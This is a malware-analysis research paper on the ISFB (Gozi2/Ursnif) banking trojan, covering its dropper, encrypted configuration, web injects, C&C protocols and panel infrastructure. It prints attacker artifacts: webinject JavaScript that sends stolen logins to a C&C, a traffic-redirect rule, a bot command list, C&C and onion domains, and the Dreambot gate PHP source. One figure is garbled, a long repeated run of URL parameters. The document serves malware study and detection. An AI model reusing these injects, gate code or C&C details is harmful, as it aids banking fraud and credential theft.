ISFB: Still Live and Kicking

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Abstract

ISFB is also known as Gozi2/Ursnif, sometimes Rovnix. ISFB reappeared in early 2013 attracting some attention from the research community and a lot of confusion in the naming convention and to what was being analyzed. Then suddenly, it went dark again. However, dark does not mean dead. With attention of the world focused on Dridex and Dyre, ISFB silently evolved, hiding from the spotlight to become one of the most complex and fully featured banking trojans out there In this paper, we break the silence surrounding ISFB, giving a full description of this malware capabilities which are beyond those of the average banking trojan: 4 ways of communicating with the CC, half a dozen tricks to steal your money, the ability to create movies of your activity and naturally numerous ways of manipulating your web traffic.

Keywords: botnet, network, malware, c&c, reverse engineering

1 History

ISFB is descended from the infamous gozi toolkit dated back to 2006. Parts of the original code can still be found inside today's samples. It has come a long way from a basic information stealing trojan to today's fully fledged banking trojan. Most parts of this journey were described in detail by Don Jackson in his article about vawtrak evolution[1] While Mr. Jackson presents the history of vawtrak (aka neverquest) it's also relevant to ISFB, since they share a common past. We can only speculate how ISFB was born from gozi source code[2] ¹. We don't want to play with attribution dice but coding style looks very similar in every relevant to ISFB leaks, by which we mean gozi 1.0, carber and ISFB

itself. For us the story begins in mid 2014, when ISFB appears in Poland alongside a massive telcom spam campaign. After a few big runs, it is used mostly as a mid level banker giving place for VMZeus, KiNS and and a modified Tiny Banker (whose code was leaked in 2014). The best description of the changes, at that time, can be found in blog post by Horgh[3]. Over the next year there were some additions, the most visible ones related to encryption and the way Command and Control (C2) call's are made. These changes were made in last quarter of 2015, soon after the leak of the ISFB source code[4]. And this starts the madness...

2 Dropper

When ISFB reach target system, it starts with execution of a small dropper, responsible for setting up persistence, injecting embedded payload into explorer.exe and any browser that is running at that time. The final payload is stored, possibly compressed, inside dropper as one of joined resources. Before this happens there is one part of ISFB's execution that makes it easy to distinguish from other malwares. Nowadays almost every respectable malware is encoding/encrypting its strings, the same goes for ISFB. One of first operations of all ISFB' variants is to decode strings that are stored in .bss section, section that is normally used to keep non-initialized global variables. The algorithm used for string encoding is quite simple, it is a rolling xor with a compilation date as a key 2. A recent decompilation of this algorithm can be found in appendix B.

In recent versions there is one more caveat, mouse movement differences are used to alter the decryption key.

do {

¹internal name CRM which stands for Customer Relationship Management

²compilation date is stored in binary as plain text string

This can render simple sandboxes, that do not emulate mouse movements, unusable since ISFB won't run just hang in a loop for ever. During our research we found that shift values of 0 or 13 are only ones used in ITW samples.

2.1 Dropper part2

From mid September 2016 we have observed that some botnets have adopted another tactic. Instead of dropping executable with embedded dll's, they are dropping a first stage loader that persist into system and upon startup downloads a 2nd stage dll that contains the necessary code for malicious operations.

2.2 Joined resources

ISFB utilizes what is known in the malware reversers community as the FJ-struct. The FJ-struct is used to store additional data, one can look at them as an PE Directory with additional resources. FJ-structs are defined by the following data structure:

Recently there was a change in the structure of the FJstruct, nothing groundbreaking, just a shuffle of fields and change of tag from "FJ" to "J1". This how it looks now:

```
typedef struct {
  DWORD j1_magic;
  DWORD flags;
  DWORD crc32_name;
  DWORD addr;
  DWORD size;
} isfb_fj_elem;
```

Joined Resources are used to store couple of things, most notably the 32 and 64 bit dlls of the final payload, the public RSA key and static configuration.

CRC32 TAG	Readable Name				
0x556aed8f	server				
0xea9ea760	bootstrap				
0xacf9fc81	screenshot				
0x602c2c26	keyloglist				
0x656b798a	botnet				
0xacc79a02	knockertimeout				
0x955879a6	sendtimeout				
0x31277bd5	tasktimeout				
0x18a632bb	configfailtimeout				
0xd7a003c9	configtimeout				
0x4fa8693e	key				
0xd0665bf6	domains				
0x75e6145c	domains				
0x6de85128	bctimeout				
0xefc574ae	dga_seed				
0xcd850e68	dga_crc				
0x73177345	dga_base_url				
0x11271c7f	timer				
0x584e5925	timer				
0x48295783	timer				
0xdf351e24	tor32_dll				
0x4b214f54	tor64_dll				
0x510f22d2	tor_domains				
0xdf2e7488	dga_season				
0xc61efa7a	dga_tld				
0xec99df2e	ip_service				

Table 1: CRC32 Tags and their translation

2.3 Static Configuration

The static configuration is held in a array of structs a little bit similar to FJ-struct. It can be described by the following data structure:

```
typedef struct {
  DWORD off;
  DWORD flags;
  QWORD value;
  QWORD uid;
} isfb_cfg_elem
```

Depending on the flags, value can be either literal value or offset in the string table appended at the end array. The whole static configuration is held in the following data structure:

```
typedef struct {
  QWORD count
  isfb_cfg_elem[count];
  char string_table[];
```

Table 1 presents configurable fields with our naming.
³ This list is constantly evolving. For the latest addition we can count for example tor_dll and ip_service.
More on parsing can be found in the attached code⁴, an example of raw static configuration can be found in appendix C

³although some of them are retrieved from public leaks

⁴part o it in appending B

2.4 Getting cozy inside the system

The installation process ends with ISFB being injected into explorer.exe, and the creation of named pipes with random names for communication between the installer and the modules. The named pipe IPC is mostly used for explorer.exe <-> browser communications. A couple of registry keys are created that store the most important bot parameters. Table 2 gives a short description of most common sufixes for registry keys being used by ISFB

Registry Key Suffix	Usage		
Install	Path on a system where		
	the binary is stored		
Client	Basic configuration data		
	of the client.dll		
NetCfg	List of P2P peers		
LastTask	CRC32 hash of last task		
LastConfig	CRC32 hash of last config		

Table 2: Suffixes of registry keys and their usage

2.5 Modules

Since the initial gozi version this codebase has been designed with modularity in mind. Plugins are supported in form the of DLL with an exported 'Plugin-RegisterCallbacks' function. Plugins available on the underground marketplace include hvnc, socks5 and email/password stealers. They share the initialization and mainline process as described earlier.

3 Man in the Browser (MIB) Techniques

Like every current banker, ISFB support HTTP POST and GET grabbing and injects. But that's not the only tools that it has in its arsenal, ISFB also has the possibility of starting a VNC client when a victim visits a specified website corresponding to a target pattern, and ability to redirect traffic from one site to another without the user noticing.

3.1 Injects

Unlike recent banking malware, old school bankers didn't use any standardized format, like json, to store data. They rely on custom binary blobs which best example of is BinStruct that can be found in ZeuS and its closest offsprings. Text representation of webinjects from ZeuS'es and ISFB don't differ that much. Malware authors provide converters from one format to another. The binary level on the other hand is completely different and since we commonly encounter webinjects in this format, we will focus on it. Surprisingly types of actions are not described as CRC32

hashes, but in clear text, and later a CRC32 hash is calculated to choose which action should be taken. We identified following actions that can be taken on URL,

- FILE
- SCREENSHOT
- HIDDEN
- NEWGRAB
- VIDEO
- PROCESS
- POST
- VNC

Some of these commands we found ITW⁵, some (e.g. VIDEO) are documented but we have not been observed ITW. While the ZeuS configuration BinStruct is well structured data, ISFB's injects are a mess. They are structured as an array of chunks, where every chunk consists of 6 elements. This structure was inherited from gozi v1. Following data structures represents what the ISFB injects structure looks like.

```
typedef structure {
   DWORD size;
   BYTE data[size];
} inject_elem

typedef structure {
   inject_elem target;
   inject_elem action; // or regex
   inject_elem params[4];
} inject_chunk

typedef injects_t inject_chunk[];
```

Inside the injected code one can use couple of variables that will be substituted with concrete values from the bot's configuration, e.g. @GROUP@ or @ID@ as shown in the following example:

```
var bn = "US_" + "BOFA_1";
var bot_id = "@ID@_" + bn;
var sa = decode64("..");
var req = "send=0&u_bot_id=" + bot_id + "&bn=" + bn
+ "&page=8&u_login=&u_pass=&log=" + 'get_me_core';
sendScriptRequest(sa, req, function statusCall1() {
   var element = document.getElementById("loader");
   element.parentNode.removeChild(element);
} );
})();
```

3.2 Redirects and Content-Security-Policy

While webinjects are an effective technique to steal money, they are quite verbose, targeted bank can easy spot and block them, with nothing else than internal mechanisms of browser itself. CPS⁶, is one of them. It prevents loading of the javascript code from different origins than the one specified by the targeted page. Most malware are dealing with this by just removing

⁵In the wilde

⁶https://en.wikipedia.org/wiki/Content_Security_Policy

CSP HTTP headers from HTTP response. While this method may work, and is also used by ISFB, there is a much better way to solve 'problem' of CSP. Imagine the following injected code

```
<script type="text/javascript">
p='botid=@GROUP@_@ID@&ver=31082016&ref='
p+=document.location.href;
u='/personal/static/desktop/lib/js/script.php?';
u+=p;$.getScript(u););</script></body>
```

If we are looking at requests made by the browser with some sort of web inspector inside it, we will see something like this:

```
https://bank.site.com/personal/static/desktop/lib
/js/script.php?botid=1
f0ed2202d2bd6e3450ac54f3da05193_1337&ver
=31082016&ref=https://bank.site.com/login
```

Which looks quite innocent, if we turn a blind eye to the GET parameters. But if we add the following rule in our config,

ACTION: REDIRECT

Target: https://*.bank.com/personal/static/desktop/lib/*
-> https://tsbanalitics.com/tyt/tsb/

the bot will make a original request, discard results, make a request to the altered URL and return content of this response as an original one, completely bypassing CSP and other cross origin checks. While there is couple of articles about this capability in other malwares, and was sold as a new development, this attack is available since the beginning of gozi.

4 Many ways to do bad things

4.1 Primary Tasks

While messing with browser is fun and can bring some money, nothing will replace standard trojan tricks like stealing files and setting vnc or socks proxy that can be used to mask other bad activities. ISFB supports variety of tasks that are shortly summarized in Table 3

Acction	params	comments
GET_CERTS		
GET_COOKIES		
CLR_COOKIES		
GET_SYSINFO		
LOAD_EXE	URL	Run .exe file from URL
LOAD_REG_EXE	URL	like LOAD_EXE but add to Autorun
LOAD_UPDATE	URL	Update BOT from URI
GET_LOG		
GET_FILES	FileMask	Get files that are maching FileMask
SEND_ALL		_
LOAD_DLL	URL0[,URL1]	Downlaod and load 32 and/or 64 bit dll
SOCKS_START	IP:PORT	Start Socksv5 proxy server
SOCKS_STOP		
GET_KEYLOG		
GET_MAIL		
GET_FTP		
SELF_DELETE		
URL_BLOCK	URL	
URL_UNBLOCK	URL	
FORMS_ON		Start capturing every POST data sended
FORMS_OFF		
KEYLOG_ON	[list]*	Start keyloger for one or more programs
KEYLOG_OFF		
LOAD_INI	URL	Load static configuration from url
LOAD_REG_DLL	name, URL[,URL]	-
UNREG_DLL	name	

Table 3: List of available commands

```
http://\%s\%s?user\%\%fid=\%.4u\&version\%\%fid=\%lu\&passphrase=\%s\&socks=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&version=\%lu\&vers
```

Figure 1: Example parts of C&C calls both encoded and decoded

5 Calling Home

To be able to perform malicious activities, every bot first needs to call its C&C for either injects or tasks. As far as we know, ISFB supports 4 different methods of communication with C&C:

- · Static domains inside configuration files
- · DGA based on template and current data
- C&C hidden in TOR network
- P2P network

TOR support was added in June this year, and all of those methods may use SSL or not.

5.1 DGA

What is right now a indistinguishable part of a bot can be found in leak of the original gozi source as a suggested name generator for cnc addresses. The algorithm is quite simple and was described in length by GovCERT.ch[5] ⁷, so here we will only present the python code we use to generate the domains.

5.2 TOR

A recent change, added in June 2016[6], is the ability to communicate with the C&C via the Tor network. To accomplish this simply, the authors added extra fields to the static configuration containing the tor dll download urls and the file path where it should be stored. Two fields are used, one for 32 and one for 64 bits DLLs.

5.3 Peer to Peer

While reading the leaked code one can find that there is something named CRC_BOOTSTRAP, which is never used. This field contains the ip addresses of servers that have a list of p2p peers. This functionality has existed since August 2015 and no one has described it so far. Our guess is that no one will bother to analyze it too deeply because this functionality is rarely used by botnet operators. For P2P communication the authors decided to create a custom protocol which is quite complex and hard to analyze, mostly because the code is messy - clearly wrote by someone outside the original gang. We won't delve much into details since this is work deserves a separate paper, instead we will give a short description of packets format. The supernode

address is present in the static configuration and port is hardcoded in binary. Messages are sent using either IPv4 or IPv6 and have the following format:

```
typedef struct {
   DWORD magic; /* 0x395f2ec1 */
   DWORD my_secret;
   DWORD his_secret;
   BYTE cmd0;
   BYTE cmd1;
  BYTE data[];
} isfb_p2p_inner_packet
typedef struct {
   BYTE flags;
   DWORD salt; /* 4 random higher bytes of keys */
   isfb_p2p_inner_packet p; /*encrypted */
} isfb_p2p_packet
```

Packets are RC4 encrypted with 8 byte key that is determined during handshake. The P2P mode supports over 20 commands performing various tasks, including sending injects and stolen files.

5.4 URL Format

Analysis of old source code leaks shows a simple versions of the C&C server communications. A simple GET request with URL obtained from a template looking like the first element of Fig. 1 After a while it became a little bit more complex and URL path took shape of what's can bee seen at second postion in This can be dissected in as follows:

```
/t[RAND]?[RAND]=data
```

Where data is RC6 encrypted and encoded with base64, which after decoding will give us 3rd element of Fig. 1

And ${\tt t}$ is a control character which identifies the request to the C&C server. In its final form, the obfuscated request mimics a GET request for an innocent image, see the 4th element of Fig. 1

As we can see it's a little bit more complex, and not very distinguishable, from legitimate requests, at least for computers. Decoding can be done with the following python snippet requiring the correct serpent key:

```
decode_req = lambda d: decrypt(d.decode('base64',SKEY))
d=re.sub('_([0-9A-Fa-f]{2})',lambda x: chr(int(x.group(1),16)),d)
try:
    e=d.decode('base64')
except Exception as e:
    d=d+'=='
pprint.pprint(dict(map(lambda x: x.split('='),
    decode_req(d).strip("\x00").split('&'))))
```

⁷the same bug they describe can found in original code of gozi v1

Control Mask	Request Type	Comment		
/t*php	get new task	Used until Sep 2015		
/c*php	get new config	Used until Sep 2015		
/d*php	send stolen data	Used until Sep 2015		
/images/*.gif	get new task	current format		
/images/*.jpeg	get new config	current format		
/images/*.bmp	send stolen data	current format		
/images/*/.avi	download 2nd stage dll	not every c&c		

Table 4: Example of old encoded URL format

This code boils down to removing slashes, unescaping non url-safe chars preceded with _, decoding base64 and decrypting using serpent, easy peasy. What is worth mentioning is that at some point the developers chose to abandon the RC6 algorithm in favor of the more obscure serpent encryption. Serpent was the runner up in the AES contest. It is used for every high-profile task like injects/tasks/stolen files/etc.

```
{'crc': '7001380',
  'id': '1065',
  'ppc': 'xi',
  'server': '12',
  'soft': '1',
  'user': '0c0d784a0cf755970edbdf4c0cb27fca',
  'version': '214887'}
```

While data inside the query is important for identifying infected machine, more important parts are types of requests which are summarized by Table 4

5.5 C&C Response

After a successful call to a C&C the next task is decoding the response. This is another place where authors went an extra mile, all responses are signed with RSA ⁸. This prevents researchers and security companise to effectively sinkhole or takeover the botnet. To make the process effective, only the last block of response is signed, block thats holds serpent ⁹ key, hash of decrypted body and payload size. This can be summarized by following image and code appended to paper.

After encryption, the rest of the payload can be packed using standard aPlib compressor, but this is mostly used for injects.

6 Inside the dragon's den

ISFB is a crime-kit that is up for sale, so there is not one type of infrastructure, every criminal can set it up as they want, but during our research we encounter 2 types of setups depending on which panel is used.

6.1 IAP

IAP is an old panel, that goes back to 2014 ¹⁰ but still under active development.

Most deployments we saw are not using any proxies and the panel is directly available if one accesses

the root directory of the web server under C&C address from static configuration. Normalization of urls is done by either .htaccess or nginx rules

```
rewrite ^/fileto(.*)(\.bin) /get128.php?x=$1 break;
rewrite ^/images(.*)(\.bmp) /data.php?x=$1$2 break;
rewrite ^/images(.*)(\.avi) /loader.php?x=$1$2 break;
rewrite ^/images(.*)(\.gif) /task.php?x=$1$2 break;
rewrite ^/images(.*)(\.jpeg) /config.php?x=$1$2 break;
```

6.2 Dreambot

Dreambot is the most widespread ISFB variant. Most of Dreambot deployments are hidden behind proxy servers and additional layers of Fast-Flux ¹¹ network. Since they switched to TOR hat doesn't really matter anymore. On proxy server the following rules are used to choose correct handler which will further normalize request to something that can be handled by C&C. Part of gate source code can be found in appendix D

```
RewriteEngine on
RewriteRule ^c(.+)\.php$ new_chandler.php [L,QSA]
RewriteRule ^t(.+)\.php$ new_thandler.php [L,QSA]
RewriteRule ^d(.+)\.php$ new_dhandler.php [L,QSA]
RewriteRule ^images(.*)(\.bmp) new_dhandler.php?q=$1$2 [L,QSA]
RewriteRule ^images(.*)(\.gif) new_thandler.php?q=$1$2 [L,QSA]
RewriteRule ^images(.*)(\.jpeg) new_chandler.php?q=$1$2 [L,QSA]
```

7 Closing Words

After the source code of a prominent malware family is leaked, the next problem is to distinguish copycats from the original authors, this is also true for IFSB. It was developed after the gozi source code leak, and

⁸but some gangs are using default keys that can be found in leaks

⁹rc6 in previous versions

¹⁰Thu Aug 14 23:43:09 2014 CEST if one can believe metadata of the pdf file with installation instructions

¹¹almost always using Fluxxy network

¹² most notably vawtrak

the original crew moved onto different projects ¹², taking almost all the ancestor code but adding few little but interesting improvements. Right now ISFB is one of most popular banker used in criminal endeavours, that is available on market, but that's not all. We can find traces of its code in nymaim[7][8] ¹³, and what is know as PunchBuggy or PowerSniff, a very trimmed down version of ISFB used for semi-targeted attacks [9][10][11]

What distinguishes ISFB from other trojans based on the leaked source code, is that it's still under active development and new features are published every other month which makes us happy and busy. Our code and YARA rules that should help with finding and fighting this theat are available at our github repository https://github.com/mak/random-stuff/isfb/

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¹³which devs basically take ISFB dll and incorporate it into their botnet as a banking module

Appendices

A Decompilation of string decoding algorigthm

```
signed int __stdcall decode_bss(int shift)
  IMAGE_DOS_HEADER *v1; // esi@1
  IMAGE_SECTION_HEADER *v2; // ebx@1
  IMAGE_NT_HEADERS *v3; // eax@1
  int v4; // ecx@1
 IMAGE_SECTION_HEADER *v5; // eax@1
 DWORD v6; // eax@8
 int v7; // ecx@10
  int v8; // ST20_4@10
  IMAGE_DOS_HEADER *v9; // edi@10
  int v10; // esi@10
  CHAR String1[8]; // [esp+18h] [ebp-14h]@1
  IMAGE_DOS_HEADER *v13; // [esp+20h] [ebp-Ch]@1
  int v14; // [esp+24h] [ebp-8h]@1
 v1 = hHModule;
  v2 = 0;
 String1[0] = 0;
  *(_DWORD *)&String1[1] = 0;
  *(_WORD *)&String1[5] = 0;
 String1[7] = 0;
 v13 = hHModule;
 v14 = 0;
 lstrcpynA(String1, ".bss", 8);
 v3 = (IMAGE_NT_HEADERS *)((char *)v1 + v1->e_lfanew);
 v4 = v3->FileHeader.NumberOfSections;
 v5 = (IMAGE_SECTION_HEADER *)((char *)&v3->OptionalHeader + v3->FileHeader.SizeOfOptionalHeader);
    if ( *(_DWORD *)&v5->Name[0] == *(_DWORD *)String1 && *(_DWORD *)&v5->Name[4] == *(_DWORD *)&String1[4] )
     v2 = v5;
    ++v5:
    --v4;
 while ( v4 && !v2 );
  if ( !v2 )
   return 2:
  v6 = v2->VirtualAddress;
  if ( !v6 || !v2->SizeOfRawData )
   return 192:
  v7 = v2->SizeOfRawData;
 v8 = *(DWORD *)"016";
 v9 = v13:
  v10 = (shift & Ox1F) + (*(_DWORD *)"29 2016" ^ *(_DWORD *)"Oct 29 2016" ^ (v7 + v6));
  XorDecryptBuffer(v7, (int *)((char *)v13 + v6), v2->SizeOfRawData, v10);
  dword_4064EC = dword_40766E + dword_407662 + dword_407666;
 if ( dword_40766E + dword_407662 + dword_407666 != 0xEE553B4E )// check if correctly decoded
   XorEncryptBuffer(dword_407662, (IMAGE_DOS_HEADER *)((char *)v9 + v2->VirtualAddress), v2->SizeOfRawData, v10);
   v14 = 12;
 }
 return v14;
```

B Hex dump of static confiration

00000000:									[f
0000010:				0000					• • • • • • • • • • • • • • • • • • • •
00000020:									Es.s
00000030:									h
00000040:									&
00000050:									$z\dots\dots\dots$
00000060:									tt
00000070:									• • • • • • • • • • • • • • • • • • • •
00000080:									.".Q
00000090:									\$.5
000000a0:				0000					• • • • • • • • • • • • • • • • • • • •
000000ь0:									TO!K
000000c0:									• • • • • • • • • • • • • • • • • • • •
:000000d0									C
000000e0:									jU8
000000f0:									>i.0
00000100:									#
00000110:									
00000120:									• • • • • • • • • • • • • • • • • • • •
00000130:									• • • • • • • • • • • • • • • • • • • •
00000140:									.2
00000150:									
00000160:									• • • • • • • • • • • • • • • • • • • •
00000170:									.yX
00000180:									• • • • • • • • • • • • • • • • • • • •
00000190:									
000001a0:									(Q.m
000001b0:									yke
000001c0:									• • • • • • • • • • • • • • • • • • • •
000001d0:									%YNX
000001e0:									
000001f0:									$g.\dots\dots\dots$
00000200:									<pre>pornolab.net.ope</pre>
00000210:									${\tt nsource.apple.co}$
00000220:									m/source/Securit
00000230:									y/Security-29/Se
00000240:									cureTransport/LI
00000250:									CENSE.txt?txt.0x
00000260:									6f0b167a.ru.5.aa
00000270:									xvkah7dudzoloq.o
00000280:									nion.thenotwiths
00000290:									oldsuequiv.ru/ke
000002a0:									y/x32.bin file:/
000002b0:									/%appdata%/syste
000002c0:									m32.dll.thenotwi
000002d0:									thsoldsuequiv.ru
000002e0:									/key/x64.bin fil
000002f0:									e://%appdata%/sy
00000300:									stem64.dll.curlm
				7400					yip.net.12.0vZz8
00000320:									XVH91INT7ek.300.
00000330:									360.300.120.300.
00000340:									120.10.2003.60.1
00000350:	3438	2e31	3633	2e31	3132	2e32	3033	00	48.163.112.203.

C Except of code used to parse the static configuration

```
def parse_ini_params(data):
   off = 8
    r = \{\}
    count= struct.unpack('Q',data[:8])[0]
    for i in xrange(count):
        name,flags,value,uid = struct.unpack_from('IIQQ',data,off)
        if flags & 1:
            value = off+value
        if translate_init.get(name,False) and 'a' in translate_init[name]:
            v=translate_init[name]['a'](data,value,uid)
            nn = translate_init[name]['n']
            if nn in r and type(r[nn]) == list:
                r[nn] += v
                r[nn] = v
        elif translate_init.get(name,False):
            log.error('unhandled ini(%s) value %s' % (translate_init[name]['n'], get_null_string(data[value:])'))
            #print hex(name), flags, value, uid
            v=get_null_string(data[value:])
            log.error('unknown ini(%x) value `%s`, need to investiage...'%(name,v))
    return r
def get_cfg(m):
    if type(m) == str:
       m = mm.PE(data=pe)
    if m.pe.PE_TYPE == pefile.OPTIONAL_HEADER_MAGIC_PE_PLUS:
        log.info('[*] skipping x64 binary')
        raise StopIteration()
    cfg_addr = m.pe.sections[-1].get_file_offset() + 2*m.pe.sections[0].sizeof()
    while m.dword(cfg_addr) != 0:
        _,addr,size,tag,flags = struct.unpack('IIIII',m.read(cfg_addr,0x14))
        if size > 0x7E400:
            x= tag
            tag = size
            size = flags
            flags = addr
            addr = x
        if flags & 0x10000 :
            import StringIO
            off = m.pe.get_offset_from_rva(addr)
            data,_ = aplib.decompress(m.pe.__data__[off:])
            data = data[:size]
        else:
            data = m.read(addr,size)
        log.info('EXE [%08X] @ %X - size: %d - flags: %x' % (tag,addr,size,flags))
        yield tag, data, size
        cfg_addr+= 0x14
def decode_static_data(m,hit,*args):
   for tag,data,size in get_cfg(m):
        if tag in [0x4F75CEA7,0x9e154a0c]: ## CRC_CLIENT32
            with open('/tmp/isfb.x.dll','w') as f: f.write(data)
            _pe = m.__class__(_data = data)
            setattr(_pe,'_key',args[-1])
            _pe.yara_search(get_yara_rules('isfb'),0,size)
            if 'type' in _pe.cfg:
                cfg = copy.deepcopy(_pe.cfg)
                r.update(cfg)
```

```
elif tag in [0xD722AFCB,0x8365B957,0x8fb1dde1]: ## CRC_CLIENT_INI
    cfg = parse_ini_params(data)
   with open('/tmp/isfb_data.bin','w') as f: f.write(data)
   print cfg
    r.update(cfg)
    if tag == 0x8fb1dde1:
       r['exe_type']='loader'
    elif tag == 0xD722AFCB:
       r['exe_type']='worker'
elif tag == 0xE1285E64: ## CRC_PUBLIC_KEY
    print `data`
    ks = struct.unpack('I',data[:4])[0]/8
   n = int(data[4:4+ks].encode('hex'),16)
    e = int(data[-4:].encode('hex'),16)
   r['public_key'] = { 'n': str(n), 'e': e}
elif tag in [0x90F8AAB4,0x41982e1f]: ## CRC_CLIENT64
   pass ## same as x86
else:
    log.warning('Unknown resource with tag: %%' % tag)
```

D Dreambot's gate

D.1 new_thandler.php

```
require_once('header.php');
$gate = new gate($urls, $skey, $ekey, $debug);
if(!empty($_GET['skey'])) {
        if($gate->api_test()) exit('OK');
$gate->debug('--- Start --- ');
if(!$gate->decrypt_query())
       if(!$gate->decrypt_query_new()) {
    $gate->debug('Incorrect Key');
    exit();
}
if(!$gate->check_parr()) {
    $gate->debug('Incorrect Parameters');
    exit();
}
$gate->set_server();
$gate->set_parr();
if($gate->isGroup($_GET['id'])) {
    $gate->debug('Send Task Request');
    exit($gate->full_query('get_task', $_GET['user'],
         $_GET['id'], $_GET['version'], $_SERVER['HTTP_USER_AGENT'],
         $_SERVER['REMOTE_ADDR'], $_GET['crc']));
$gate->debug('Unknown Bot Group');
```

D.2 header.php

```
<?php
 * Settings
$urls = array (
   12 => '[REDACTED]';
$skey = '[REDACTED];
$ekey = '[REDACTED];
$debug = false;
* CODE
class gate {
   public function __construct ($url, $skey, $ekey, $debug) {
        $this->url = $url;
        $this->skey = $skey;
        $this->ekey = $ekey;
        $this->debug = $debug;
    public function query ($parr, $file = false) {
        $request = curl_init($this->url.'/api.php?skey='.$this->skey.'&'.$parr);
        if($file) {
            curl_setopt($request, CURLOPT_POST, true);
            curl_setopt($request, CURLOPT_POSTFIELDS,
                array(
                     'file' => '@' . realpath(\$_FILES['upload_file']['tmp_name'])
                )
            );
       }
        curl_setopt($request, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($request);
        curl_close($request);
        return $result;
    public function decrypt_query_new() {
            $mathes=preg_replace('/.*\\/images\\//','',implode('/',$_REQUEST));
```

```
$mathes=preg_replace('\'\\/[^\\/]*-[^\\/]*\\/\'', '', $mathes);
    $mathes= str_replace('.jpeg', '', $mathes);
$mathes= str_replace('.gif', '', $mathes);
    $mathes= str_replace('.png', '', $mathes);
    $mathes= str_replace('.bmp', '', $mathes);
    $mathes= str_replace('/', '', $mathes);
    $mathes= str_replace('_2B', '+', $mathes);
    $mathes str_replace('_2D', '-', $mathes);
$mathes str_replace('', '+', $mathes);
    $mathes= str_replace('_2F', '/', $mathes);
    $url = @mcrypt_decrypt(MCRYPT_SERPENT, $this->ekey, base64_decode($mathes), MCRYPT_MODE_CBC);
    if(!$url) { exit(); }
    parse_str($url, $_GET_TEMP);
   $_GET = array();
   $_GET = array_merge($_GET, $_GET_TEMP);
    if(count($_GET) < 2|| !$_GET['user']) {</pre>
        return false;
    return true;
        }
public function decrypt_query() {
    foreach ($_GET as $key => $value) {
        $url = @mcrypt_decrypt(MCRYPT_SERPENT, $this->ekey, base64_decode(str_replace(' ', '+', $_GET[$key])), MCRYPT_MODE_
        parse_str($url, $_GET_TEMP);
        break;
    }
     $_GET = array();
    $_GET = array_merge($_GET, $_GET_TEMP);
    if(count($_GET) < 2|| !$_GET['user']) {</pre>
        return false;
    }
    return true;
}
public function debug ($mess) {
    if($this->debug) {
        $fp = fopen('debug.txt', 'a');
        fwrite($fp, $mess."\r\n");
        fclose($fp);
}
public function testGUID (&$dt) {
    $return = '';
    $dt = strtoupper($dt);
    for ($i = 0; $i < strlen($dt); $i++) {
        if (preg_match("/^[A-F0-9]+$/i", $dt[$i]) != 0) {
            $return .= $dt[$i];
    }
    $return = substr($return, -32);
    $len = strlen($return);
    for ($i = 32; $i > $len; $i--) {
        $return = '0' . $return;
    $return = substr($return, 0, 8) . '-' . substr($return, 8, 4) . '-' . substr($return, 12, 4) . '-' . substr($return, 16
    $dt = $return;
    return true:
}
public function isGroup ($gid){
    $group = $this->query('action=get_group&gid='.$gid);
    if($group == "yes") {
        return true;
    return false;
public function set_server () {
    $this->url = $this->url[$_GET['server']];
public function full_query ($type, $user, $id, $version, $agent, $ip, $crc,$soft=-1) {
    $result = $this->query('action='.$type.'&crc='.$crc.'&botid='.$user.'&gid='.$id.'&agent='.urlencode($agent).'&version='
    echo $result:
    return false;
```

```
}
           public function check_parr () {
                      if(isset($_GET['version'], $_GET['user'], $_GET['server'], $_GET['id'], $_GET['crc']) AND (is_numeric($_GET['version'])
                                  return true;
                      }
                      return false;
           }
           public function check_f_parr () {
                      if(isset(\subsetset['version'], \subsetset['user'], \subsetset['server'], \subsetset['id'], \subsetset['type'], \subsetset['name']) AND (is_numeric(\subsetset['id'], \subsetset['id'], \subsetset['id], \subsetset['id],
                                 return true;
                      }
                      return false;
           }
           public function set_parr ($file = false) {
                      if(!$file) {
                                  $_GET['crc'] = strtoupper($_GET['crc']);
                      }else{
                                 $_GET['type'] = (int)$_GET['type'];
                      }
                      $_GET['version'] = (int)$_GET['version'];
                      $_GET['server'] = (int)$_GET['server'];
                      $_GET['id'] = (int)$_GET['id'];
                      $_GET['soft'] = (int)$_GET['soft'];
           }
           public function upload_protect ($fname) {
                      $exp = explode('.', $fname);
                      if(count($exp) > 2) {
                                 return false;
                      if (in_array($exp[1], array('php', 'cgi', 'pl', 'fcgi', 'fpl', 'phtml', 'php2', 'php3', 'php4', 'php5', 'aps', 'jsp')))
